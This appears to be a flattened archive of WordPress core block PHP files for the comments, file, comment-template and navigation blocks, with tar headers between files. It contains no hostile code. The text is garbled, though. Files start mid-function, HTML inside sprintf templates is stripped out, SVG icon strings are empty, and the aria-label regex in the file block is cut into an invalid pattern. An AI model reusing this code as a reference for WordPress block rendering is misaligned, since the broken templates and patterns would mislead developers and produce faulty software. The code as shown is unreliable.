$classnames[] = 'wp-block-post-comments'; } if ( isset( $attributes['textAlign'] ) ) { $classnames[] = 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); /* * Enqueues scripts and styles required only for the legacy version. That is * why they are not defined in `block.json`. */ wp_enqueue_script( 'comment-reply' ); enqueue_legacy_post_comments_block_styles( $block->name ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $output ); } /** * Registers the `core/comments` block on the server. */ function register_block_core_comments() { register_block_type_from_metadata( __DIR__ . '/comments', array( 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comments' ); /** * Use the button block classes for the form-submit button. * * @param array $fields The default comment form arguments. * * @return array Returns the modified fields. */ function comments_block_form_defaults( $fields ) { if ( wp_is_block_theme() ) { $fields['submit_button'] = ''; $fields['submit_field'] = '

    %1$s %2$s

    '; } return $fields; } add_filter( 'comment_form_defaults', 'comments_block_form_defaults' ); /** * Enqueues styles from the legacy `core/post-comments` block. These styles are * required only by the block's fallback. * * @param string $block_name Name of the new block type. */ function enqueue_legacy_post_comments_block_styles( $block_name ) { static $are_styles_enqueued = false; if ( ! $are_styles_enqueued ) { $handles = array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ); foreach ( $handles as $handle ) { wp_enqueue_block_style( $block_name, array( 'handle' => $handle ) ); } $are_styles_enqueued = true; } } /** * Ensures backwards compatibility for any users running the Gutenberg plugin * who have used Post Comments before it was merged into Comments Query Loop. * * The same approach was followed when core/query-loop was renamed to * core/post-template. * * @see https://github.com/WordPress/gutenberg/pull/41807 * @see https://github.com/WordPress/gutenberg/pull/32514 */ function register_legacy_post_comments_block() { $registry = WP_Block_Type_Registry::get_instance(); /* * Remove the old `post-comments` block if it was already registered, as it * is about to be replaced by the type defined below. */ if ( $registry->is_registered( 'core/post-comments' ) ) { unregister_block_type( 'core/post-comments' ); } // Recreate the legacy block metadata. $metadata = array( 'name' => 'core/post-comments', 'category' => 'theme', 'attributes' => array( 'textAlign' => array( 'type' => 'string', ), ), 'uses_context' => array( 'postId', 'postType', ), 'supports' => array( 'html' => false, 'align' => array( 'wide', 'full' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, ), ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, ), ), 'inserter' => false, ), 'style' => array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ), 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ); /* * Filters the metadata object, the same way it's done inside * `register_block_type_from_metadata()`. This applies some default filters, * like `_wp_multiple_block_styles`, which is required in this case because * the block has multiple styles. */ /** This filter is documented in wp-includes/blocks.php */ $metadata = apply_filters( 'block_type_metadata', $metadata ); register_block_type( 'core/post-comments', $metadata ); } add_action( 'init', 'register_legacy_post_comments_block', 21 ); blocks/file.php000064400000006413151202620300007444 0ustar00block_type->view_script_handles; // If the script is not needed, and it is still in the `view_script_handles`, remove it. if ( ! $should_load_view_script && in_array( $view_js_file, $script_handles, true ) ) { $block->block_type->view_script_handles = array_diff( $script_handles, array( $view_js_file ) ); } // If the script is needed, but it was previously removed, add it again. if ( $should_load_view_script && ! in_array( $view_js_file, $script_handles, true ) ) { $block->block_type->view_script_handles = array_merge( $script_handles, array( $view_js_file ) ); } } // Update object's aria-label attribute if present in block HTML. // Match an aria-label attribute from an object tag. $pattern = '@aria-label="(?[^"]+)?")@i'; $content = preg_replace_callback( $pattern, static function ( $matches ) { $filename = ! empty( $matches['filename'] ) ? $matches['filename'] : ''; $has_filename = ! empty( $filename ) && 'PDF embed' !== $filename; $label = $has_filename ? sprintf( /* translators: %s: filename. */ __( 'Embed of %s.' ), $filename ) : __( 'PDF embed' ); return str_replace( $matches['attribute'], sprintf( 'aria-label="%s"', $label ), $matches[0] ); }, $content ); // If it uses the Interactivity API, add the directives. if ( $should_load_view_script ) { $processor = new WP_HTML_Tag_Processor( $content ); $processor->next_tag(); $processor->set_attribute( 'data-wp-interactive', '' ); $processor->next_tag( 'object' ); $processor->set_attribute( 'data-wp-bind--hidden', '!selectors.core.file.hasPdfPreview' ); $processor->set_attribute( 'hidden', true ); return $processor->get_updated_html(); } return $content; } /** * Ensure that the view script has the `wp-interactivity` dependency. * * @since 6.4.0 * * @global WP_Scripts $wp_scripts */ function block_core_file_ensure_interactivity_dependency() { global $wp_scripts; if ( isset( $wp_scripts->registered['wp-block-file-view'] ) && ! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-file-view']->deps, true ) ) { $wp_scripts->registered['wp-block-file-view']->deps[] = 'wp-interactivity'; } } add_action( 'wp_print_scripts', 'block_core_file_ensure_interactivity_dependency' ); /** * Registers the `core/file` block on server. */ function register_block_core_file() { register_block_type_from_metadata( __DIR__ . '/file', array( 'render_callback' => 'render_block_core_file', ) ); } add_action( 'init', 'register_block_core_file' ); blocks/comment-template.php000064400000010550151202620300011775 0ustar00comment_ID; $filter_block_context = static function ( $context ) use ( $comment_id ) { $context['commentId'] = $comment_id; return $context; }; /* * We set commentId context through the `render_block_context` filter so * that dynamically inserted blocks (at `render_block` filter stage) * will also receive that context. * * Use an early priority to so that other 'render_block_context' filters * have access to the values. */ add_filter( 'render_block_context', $filter_block_context, 1 ); /* * We construct a new WP_Block instance from the parsed block so that * it'll receive any changes made by the `render_block_data` filter. */ $block_content = ( new WP_Block( $block->parsed_block ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); $children = $comment->get_children(); /* * We need to create the CSS classes BEFORE recursing into the children. * This is because comment_class() uses globals like `$comment_alt` * and `$comment_thread_alt` which are order-sensitive. * * The `false` parameter at the end means that we do NOT want the function * to `echo` the output but to return a string. * See https://developer.wordpress.org/reference/functions/comment_class/#parameters. */ $comment_classes = comment_class( '', $comment->comment_ID, $comment->comment_post_ID, false ); // If the comment has children, recurse to create the HTML for the nested // comments. if ( ! empty( $children ) && ! empty( $thread_comments ) ) { if ( $comment_depth < $thread_comments_depth ) { ++$comment_depth; $inner_content = block_core_comment_template_render_comments( $children, $block ); $block_content .= sprintf( '
      %1$s
    ', $inner_content ); --$comment_depth; } else { $block_content .= block_core_comment_template_render_comments( $children, $block ); } } $content .= sprintf( '
  • %3$s
  • ', $comment->comment_ID, $comment_classes, $block_content ); } return $content; } /** * Renders the `core/comment-template` block on the server. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the HTML representing the comments using the layout * defined by the block's inner blocks. */ function render_block_core_comment_template( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $comment_query = new WP_Comment_Query( build_comment_query_vars_from_block( $block ) ); // Get an array of comments for the current post. $comments = $comment_query->get_comments(); if ( count( $comments ) === 0 ) { return ''; } $comment_order = get_option( 'comment_order' ); if ( 'desc' === $comment_order ) { $comments = array_reverse( $comments ); } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '
      %2$s
    ', $wrapper_attributes, block_core_comment_template_render_comments( $comments, $block ) ); } /** * Registers the `core/comment-template` block on the server. */ function register_block_core_comment_template() { register_block_type_from_metadata( __DIR__ . '/comment-template', array( 'render_callback' => 'render_block_core_comment_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comment_template' ); blocks/navigation.php000064400000112472151202620300010667 0ustar00term_id, array( 'update_post_term_cache' => false ) ); _wp_menu_item_classes_by_context( $menu_items ); return $menu_items; } /** * Sorts a standard array of menu items into a nested structure keyed by the * id of the parent menu. * * @param array $menu_items Menu items to sort. * @return array An array keyed by the id of the parent menu where each element * is an array of menu items that belong to that parent. */ function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) { $sorted_menu_items = array(); foreach ( (array) $menu_items as $menu_item ) { $sorted_menu_items[ $menu_item->menu_order ] = $menu_item; } unset( $menu_items, $menu_item ); $menu_items_by_parent_id = array(); foreach ( $sorted_menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } return $menu_items_by_parent_id; } } /** * Add Interactivity API directives to the navigation-submenu and page-list * blocks markup using the Tag Processor. * * @param string $w Markup of the navigation block. * @param array $block_attributes Block attributes. * * @return string Submenu markup with the directives injected. */ function block_core_navigation_add_directives_to_submenu( $w, $block_attributes ) { while ( $w->next_tag( array( 'tag_name' => 'LI', 'class_name' => 'has-child', ) ) ) { // Add directives to the parent `
  • `. $w->set_attribute( 'data-wp-interactive', true ); $w->set_attribute( 'data-wp-context', '{ "core": { "navigation": { "submenuOpenedBy": {}, "type": "submenu" } } }' ); $w->set_attribute( 'data-wp-effect', 'effects.core.navigation.initMenu' ); $w->set_attribute( 'data-wp-on--focusout', 'actions.core.navigation.handleMenuFocusout' ); $w->set_attribute( 'data-wp-on--keydown', 'actions.core.navigation.handleMenuKeydown' ); // This is a fix for Safari. Without it, Safari doesn't change the active // element when the user clicks on a button. It can be removed once we add // an overlay to capture the clicks, instead of relying on the focusout // event. $w->set_attribute( 'tabindex', '-1' ); if ( ! isset( $block_attributes['openSubmenusOnClick'] ) || false === $block_attributes['openSubmenusOnClick'] ) { $w->set_attribute( 'data-wp-on--mouseenter', 'actions.core.navigation.openMenuOnHover' ); $w->set_attribute( 'data-wp-on--mouseleave', 'actions.core.navigation.closeMenuOnHover' ); } // Add directives to the toggle submenu button. if ( $w->next_tag( array( 'tag_name' => 'BUTTON', 'class_name' => 'wp-block-navigation-submenu__toggle', ) ) ) { $w->set_attribute( 'data-wp-on--click', 'actions.core.navigation.toggleMenuOnClick' ); $w->set_attribute( 'data-wp-bind--aria-expanded', 'selectors.core.navigation.isMenuOpen' ); // The `aria-expanded` attribute for SSR is already added in the submenu block. } // Add directives to the submenu. if ( $w->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'wp-block-navigation__submenu-container', ) ) ) { $w->set_attribute( 'data-wp-on--focus', 'actions.core.navigation.openMenuOnFocus' ); } // Iterate through subitems if exist. block_core_navigation_add_directives_to_submenu( $w, $block_attributes ); } return $w->get_updated_html(); } /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @param array $attributes Navigation block attributes. * * @return array Colors CSS classes and inline styles. */ function block_core_navigation_build_css_colors( $attributes ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', 'overlay_css_classes' => array(), 'overlay_inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $attributes ); $has_custom_text_color = array_key_exists( 'customTextColor', $attributes ); // If has text color. if ( $has_custom_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', $attributes['textColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $attributes['customTextColor'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $attributes ); $has_custom_background_color = array_key_exists( 'customBackgroundColor', $attributes ); // If has background color. if ( $has_custom_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customBackgroundColor'] ); } // Overlay text color. $has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $attributes ); $has_custom_overlay_text_color = array_key_exists( 'customOverlayTextColor', $attributes ); // If has overlay text color. if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) { // Add has-text-color class. $colors['overlay_css_classes'][] = 'has-text-color'; } if ( $has_named_overlay_text_color ) { // Add the overlay color class. $colors['overlay_css_classes'][] = sprintf( 'has-%s-color', $attributes['overlayTextColor'] ); } elseif ( $has_custom_overlay_text_color ) { // Add the custom overlay color inline style. $colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $attributes['customOverlayTextColor'] ); } // Overlay background color. $has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $attributes ); $has_custom_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $attributes ); // If has overlay background color. if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) { // Add has-background class. $colors['overlay_css_classes'][] = 'has-background'; } if ( $has_named_overlay_background_color ) { // Add the overlay background-color class. $colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', $attributes['overlayBackgroundColor'] ); } elseif ( $has_custom_overlay_background_color ) { // Add the custom overlay background-color inline style. $colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customOverlayBackgroundColor'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @param array $attributes Navigation block attributes. * * @return array Font size CSS classes and inline styles. */ function block_core_navigation_build_css_font_sizes( $attributes ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $attributes ); $has_custom_font_size = array_key_exists( 'customFontSize', $attributes ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $attributes['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %spx;', $attributes['customFontSize'] ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_render_submenu_icon() { return ''; } /** * Filter out empty "null" blocks from the block list. * 'parse_blocks' includes a null block with '\n\n' as the content when * it encounters whitespace. This is not a bug but rather how the parser * is designed. * * @param array $parsed_blocks the parsed blocks to be normalized. * @return array the normalized parsed blocks. */ function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) { $filtered = array_filter( $parsed_blocks, static function ( $block ) { return isset( $block['blockName'] ); } ); // Reset keys. return array_values( $filtered ); } /** * Returns true if the navigation block contains a nested navigation block. * * @param WP_Block_List $inner_blocks Inner block instance to be normalized. * @return bool true if the navigation block contains a nested navigation block. */ function block_core_navigation_block_contains_core_navigation( $inner_blocks ) { foreach ( $inner_blocks as $block ) { if ( 'core/navigation' === $block->name ) { return true; } if ( $block->inner_blocks && block_core_navigation_block_contains_core_navigation( $block->inner_blocks ) ) { return true; } } return false; } /** * Retrieves the appropriate fallback to be used on the front of the * site when there is no menu assigned to the Nav block. * * This aims to mirror how the fallback mechanic for wp_nav_menu works. * See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information. * * @return array the array of blocks to be used as a fallback. */ function block_core_navigation_get_fallback_blocks() { $page_list_fallback = array( array( 'blockName' => 'core/page-list', ), ); $registry = WP_Block_Type_Registry::get_instance(); // If `core/page-list` is not registered then return empty blocks. $fallback_blocks = $registry->is_registered( 'core/page-list' ) ? $page_list_fallback : array(); if ( class_exists( 'WP_Navigation_Fallback' ) ) { $navigation_post = WP_Navigation_Fallback::get_fallback(); } else { $navigation_post = Gutenberg_Navigation_Fallback::get_fallback(); } // Use the first non-empty Navigation as fallback if available. if ( $navigation_post ) { $parsed_blocks = parse_blocks( $navigation_post->post_content ); $maybe_fallback = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // Normalizing blocks may result in an empty array of blocks if they were all `null` blocks. // In this case default to the (Page List) fallback. $fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks; } /** * Filters the fallback experience for the Navigation block. * * Returning a falsey value will opt out of the fallback and cause the block not to render. * To customise the blocks provided return an array of blocks - these should be valid * children of the `core/navigation` block. * * @since 5.9.0 * * @param array[] default fallback blocks provided by the default block mechanic. */ return apply_filters( 'block_core_navigation_render_fallback', $fallback_blocks ); } /** * Iterate through all inner blocks recursively and get navigation link block's post IDs. * * @param WP_Block_List $inner_blocks Block list class instance. * * @return array Array of post IDs. */ function block_core_navigation_get_post_ids( $inner_blocks ) { $post_ids = array_map( 'block_core_navigation_from_block_get_post_ids', iterator_to_array( $inner_blocks ) ); return array_unique( array_merge( ...$post_ids ) ); } /** * Get post IDs from a navigation link block instance. * * @param WP_Block $block Instance of a block. * * @return array Array of post IDs. */ function block_core_navigation_from_block_get_post_ids( $block ) { $post_ids = array(); if ( $block->inner_blocks ) { $post_ids = block_core_navigation_get_post_ids( $block->inner_blocks ); } if ( 'core/navigation-link' === $block->name || 'core/navigation-submenu' === $block->name ) { if ( $block->attributes && isset( $block->attributes['kind'] ) && 'post-type' === $block->attributes['kind'] && isset( $block->attributes['id'] ) ) { $post_ids[] = $block->attributes['id']; } } return $post_ids; } /** * Renders the `core/navigation` block on server. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation( $attributes, $content, $block ) { static $seen_menu_names = array(); // Flag used to indicate whether the rendered output is considered to be // a fallback (i.e. the block has no menu associated with it). $is_fallback = false; $nav_menu_name = $attributes['ariaLabel'] ?? ''; /** * Deprecated: * The rgbTextColor and rgbBackgroundColor attributes * have been deprecated in favor of * customTextColor and customBackgroundColor ones. * Move the values from old attrs to the new ones. */ if ( isset( $attributes['rgbTextColor'] ) && empty( $attributes['textColor'] ) ) { $attributes['customTextColor'] = $attributes['rgbTextColor']; } if ( isset( $attributes['rgbBackgroundColor'] ) && empty( $attributes['backgroundColor'] ) ) { $attributes['customBackgroundColor'] = $attributes['rgbBackgroundColor']; } unset( $attributes['rgbTextColor'], $attributes['rgbBackgroundColor'] ); /** * This is for backwards compatibility after `isResponsive` attribute has been removed. */ $has_old_responsive_attribute = ! empty( $attributes['isResponsive'] ) && $attributes['isResponsive']; $is_responsive_menu = isset( $attributes['overlayMenu'] ) && 'never' !== $attributes['overlayMenu'] || $has_old_responsive_attribute; $inner_blocks = $block->inner_blocks; // Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render. if ( array_key_exists( 'navigationMenuId', $attributes ) ) { $attributes['ref'] = $attributes['navigationMenuId']; } // If: // - the gutenberg plugin is active // - `__unstableLocation` is defined // - we have menu items at the defined location // - we don't have a relationship to a `wp_navigation` Post (via `ref`). // ...then create inner blocks from the classic menu assigned to that location. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN && array_key_exists( '__unstableLocation', $attributes ) && ! array_key_exists( 'ref', $attributes ) && ! empty( block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ) ) ) { $menu_items = block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ); if ( empty( $menu_items ) ) { return ''; } $menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items ); $parsed_blocks = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id ); $inner_blocks = new WP_Block_List( $parsed_blocks, $attributes ); } // Load inner blocks from the navigation post. if ( array_key_exists( 'ref', $attributes ) ) { $navigation_post = get_post( $attributes['ref'] ); if ( ! isset( $navigation_post ) ) { return ''; } // Only published posts are valid. If this is changed then a corresponding change // must also be implemented in `use-navigation-menu.js`. if ( 'publish' === $navigation_post->post_status ) { $nav_menu_name = $navigation_post->post_title; if ( isset( $seen_menu_names[ $nav_menu_name ] ) ) { ++$seen_menu_names[ $nav_menu_name ]; } else { $seen_menu_names[ $nav_menu_name ] = 1; } $parsed_blocks = parse_blocks( $navigation_post->post_content ); // 'parse_blocks' includes a null block with '\n\n' as the content when // it encounters whitespace. This code strips it. $compacted_blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // TODO - this uses the full navigation block attributes for the // context which could be refined. $inner_blocks = new WP_Block_List( $compacted_blocks, $attributes ); } } // If there are no inner blocks then fallback to rendering an appropriate fallback. if ( empty( $inner_blocks ) ) { $is_fallback = true; // indicate we are rendering the fallback. $fallback_blocks = block_core_navigation_get_fallback_blocks(); // Fallback my have been filtered so do basic test for validity. if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) { return ''; } $inner_blocks = new WP_Block_List( $fallback_blocks, $attributes ); } if ( block_core_navigation_block_contains_core_navigation( $inner_blocks ) ) { return ''; } /** * Filter navigation block $inner_blocks. * Allows modification of a navigation block menu items. * * @since 6.1.0 * * @param \WP_Block_List $inner_blocks */ $inner_blocks = apply_filters( 'block_core_navigation_render_inner_blocks', $inner_blocks ); $layout_justification = array( 'left' => 'items-justified-left', 'right' => 'items-justified-right', 'center' => 'items-justified-center', 'space-between' => 'items-justified-space-between', ); // Restore legacy classnames for submenu positioning. $layout_class = ''; if ( isset( $attributes['layout']['justifyContent'] ) && isset( $layout_justification[ $attributes['layout']['justifyContent'] ] ) ) { $layout_class .= $layout_justification[ $attributes['layout']['justifyContent'] ]; } if ( isset( $attributes['layout']['orientation'] ) && 'vertical' === $attributes['layout']['orientation'] ) { $layout_class .= ' is-vertical'; } if ( isset( $attributes['layout']['flexWrap'] ) && 'nowrap' === $attributes['layout']['flexWrap'] ) { $layout_class .= ' no-wrap'; } // Manually add block support text decoration as CSS class. $text_decoration = $attributes['style']['typography']['textDecoration'] ?? null; $text_decoration_class = sprintf( 'has-text-decoration-%s', $text_decoration ); $colors = block_core_navigation_build_css_colors( $attributes ); $font_sizes = block_core_navigation_build_css_font_sizes( $attributes ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'], $is_responsive_menu ? array( 'is-responsive' ) : array(), $layout_class ? array( $layout_class ) : array(), $is_fallback ? array( 'is-fallback' ) : array(), $text_decoration ? array( $text_decoration_class ) : array() ); $post_ids = block_core_navigation_get_post_ids( $inner_blocks ); if ( $post_ids ) { _prime_post_caches( $post_ids, false, false ); } $list_item_nav_blocks = array( 'core/navigation-link', 'core/home-link', 'core/site-title', 'core/site-logo', 'core/navigation-submenu', ); $needs_list_item_wrapper = array( 'core/site-title', 'core/site-logo', ); $block_styles = isset( $attributes['styles'] ) ? $attributes['styles'] : ''; $style = $block_styles . $colors['inline_styles'] . $font_sizes['inline_styles']; $class = implode( ' ', $classes ); // If the menu name has been used previously then append an ID // to the name to ensure uniqueness across a given post. if ( isset( $seen_menu_names[ $nav_menu_name ] ) && $seen_menu_names[ $nav_menu_name ] > 1 ) { $count = $seen_menu_names[ $nav_menu_name ]; $nav_menu_name = $nav_menu_name . ' ' . ( $count ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class, 'style' => $style, 'aria-label' => $nav_menu_name, ) ); $container_attributes = get_block_wrapper_attributes( array( 'class' => 'wp-block-navigation__container ' . $class, 'style' => $style, ) ); $inner_blocks_html = ''; $is_list_open = false; $has_submenus = false; foreach ( $inner_blocks as $inner_block ) { $is_list_item = in_array( $inner_block->name, $list_item_nav_blocks, true ); if ( $is_list_item && ! $is_list_open ) { $is_list_open = true; $inner_blocks_html .= sprintf( '
      ', $container_attributes ); } if ( ! $is_list_item && $is_list_open ) { $is_list_open = false; $inner_blocks_html .= '
    '; } $inner_block_content = $inner_block->render(); $p = new WP_HTML_Tag_Processor( $inner_block_content ); if ( $p->next_tag( array( 'name' => 'LI', 'class_name' => 'has-child', ) ) ) { $has_submenus = true; } if ( ! empty( $inner_block_content ) ) { if ( in_array( $inner_block->name, $needs_list_item_wrapper, true ) ) { $inner_blocks_html .= '
  • ' . $inner_block_content . '
  • '; } else { $inner_blocks_html .= $inner_block_content; } } } if ( $is_list_open ) { $inner_blocks_html .= ''; } $should_load_view_script = ( $has_submenus && ( $attributes['openSubmenusOnClick'] || $attributes['showSubmenuIcon'] ) ) || $is_responsive_menu; $view_js_file = 'wp-block-navigation-view'; // If the script already exists, there is no point in removing it from viewScript. if ( ! wp_script_is( $view_js_file ) ) { $script_handles = $block->block_type->view_script_handles; // If the script is not needed, and it is still in the `view_script_handles`, remove it. if ( ! $should_load_view_script && in_array( $view_js_file, $script_handles, true ) ) { $block->block_type->view_script_handles = array_diff( $script_handles, array( $view_js_file ) ); } // If the script is needed, but it was previously removed, add it again. if ( $should_load_view_script && ! in_array( $view_js_file, $script_handles, true ) ) { $block->block_type->view_script_handles = array_merge( $script_handles, array( $view_js_file ) ); } } // Add directives to the submenu if needed. if ( $has_submenus && $should_load_view_script ) { $w = new WP_HTML_Tag_Processor( $inner_blocks_html ); $inner_blocks_html = block_core_navigation_add_directives_to_submenu( $w, $attributes ); } $modal_unique_id = wp_unique_id( 'modal-' ); // Determine whether or not navigation elements should be wrapped in the markup required to make it responsive, // return early if they don't. if ( ! $is_responsive_menu ) { return sprintf( '', $wrapper_attributes, $inner_blocks_html ); } $is_hidden_by_default = isset( $attributes['overlayMenu'] ) && 'always' === $attributes['overlayMenu']; $responsive_container_classes = array( 'wp-block-navigation__responsive-container', $is_hidden_by_default ? 'hidden-by-default' : '', implode( ' ', $colors['overlay_css_classes'] ), ); $open_button_classes = array( 'wp-block-navigation__responsive-container-open', $is_hidden_by_default ? 'always-shown' : '', ); $should_display_icon_label = isset( $attributes['hasIcon'] ) && true === $attributes['hasIcon']; $toggle_button_icon = ''; if ( isset( $attributes['icon'] ) ) { if ( 'menu' === $attributes['icon'] ) { $toggle_button_icon = ''; } } $toggle_button_content = $should_display_icon_label ? $toggle_button_icon : __( 'Menu' ); $toggle_close_button_icon = ''; $toggle_close_button_content = $should_display_icon_label ? $toggle_close_button_icon : __( 'Close' ); $toggle_aria_label_open = $should_display_icon_label ? 'aria-label="' . __( 'Open menu' ) . '"' : ''; // Open button label. $toggle_aria_label_close = $should_display_icon_label ? 'aria-label="' . __( 'Close menu' ) . '"' : ''; // Close button label. // Add Interactivity API directives to the markup if needed. $nav_element_directives = ''; $open_button_directives = ''; $responsive_container_directives = ''; $responsive_dialog_directives = ''; $close_button_directives = ''; if ( $should_load_view_script ) { $nav_element_context = wp_json_encode( array( 'core' => array( 'navigation' => array( 'overlayOpenedBy' => array(), 'type' => 'overlay', 'roleAttribute' => '', 'ariaLabel' => __( 'Menu' ), ), ), ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP ); $nav_element_directives = ' data-wp-interactive data-wp-context=\'' . $nav_element_context . '\' '; $open_button_directives = ' data-wp-on--click="actions.core.navigation.openMenuOnClick" data-wp-on--keydown="actions.core.navigation.handleMenuKeydown" '; $responsive_container_directives = ' data-wp-class--has-modal-open="selectors.core.navigation.isMenuOpen" data-wp-class--is-menu-open="selectors.core.navigation.isMenuOpen" data-wp-effect="effects.core.navigation.initMenu" data-wp-on--keydown="actions.core.navigation.handleMenuKeydown" data-wp-on--focusout="actions.core.navigation.handleMenuFocusout" tabindex="-1" '; $responsive_dialog_directives = ' data-wp-bind--aria-modal="selectors.core.navigation.ariaModal" data-wp-bind--aria-label="selectors.core.navigation.ariaLabel" data-wp-bind--role="selectors.core.navigation.roleAttribute" data-wp-effect="effects.core.navigation.focusFirstElement" '; $close_button_directives = ' data-wp-on--click="actions.core.navigation.closeMenuOnClick" '; } $responsive_container_markup = sprintf( '
    %2$s
    ', esc_attr( $modal_unique_id ), $inner_blocks_html, $toggle_aria_label_open, $toggle_aria_label_close, esc_attr( implode( ' ', $responsive_container_classes ) ), esc_attr( implode( ' ', $open_button_classes ) ), esc_attr( safecss_filter_attr( $colors['overlay_inline_styles'] ) ), $toggle_button_content, $toggle_close_button_content, $open_button_directives, $responsive_container_directives, $responsive_dialog_directives, $close_button_directives ); return sprintf( '', $wrapper_attributes, $responsive_container_markup, $nav_element_directives ); } /** * Register the navigation block. * * @uses render_block_core_navigation() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation() { register_block_type_from_metadata( __DIR__ . '/navigation', array( 'render_callback' => 'render_block_core_navigation', ) ); } add_action( 'init', 'register_block_core_navigation' ); /** * Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly. * * @param array $parsed_block The block being rendered. * * @return array The block being rendered without typographic presets. */ function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) { if ( 'core/navigation' === $parsed_block['blockName'] ) { $attribute_to_prefix_map = array( 'fontStyle' => 'var:preset|font-style|', 'fontWeight' => 'var:preset|font-weight|', 'textDecoration' => 'var:preset|text-decoration|', 'textTransform' => 'var:preset|text-transform|', ); foreach ( $attribute_to_prefix_map as $style_attribute => $prefix ) { if ( ! empty( $parsed_block['attrs']['style']['typography'][ $style_attribute ] ) ) { $prefix_len = strlen( $prefix ); $attribute_value = &$parsed_block['attrs']['style']['typography'][ $style_attribute ]; if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) { $attribute_value = substr( $attribute_value, $prefix_len ); } if ( 'textDecoration' === $style_attribute && 'strikethrough' === $attribute_value ) { $attribute_value = 'line-through'; } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_navigation_typographic_presets_backcompatibility' ); /** * Ensure that the view script has the `wp-interactivity` dependency. * * @since 6.4.0 * * @global WP_Scripts $wp_scripts */ function block_core_navigation_ensure_interactivity_dependency() { global $wp_scripts; if ( isset( $wp_scripts->registered['wp-block-navigation-view'] ) && ! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-navigation-view']->deps, true ) ) { $wp_scripts->registered['wp-block-navigation-view']->deps[] = 'wp-interactivity'; } } add_action( 'wp_print_scripts', 'block_core_navigation_ensure_interactivity_dependency' ); /** * Turns menu item data into a nested array of parsed blocks * * @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead. * * @param array $menu_items An array of menu 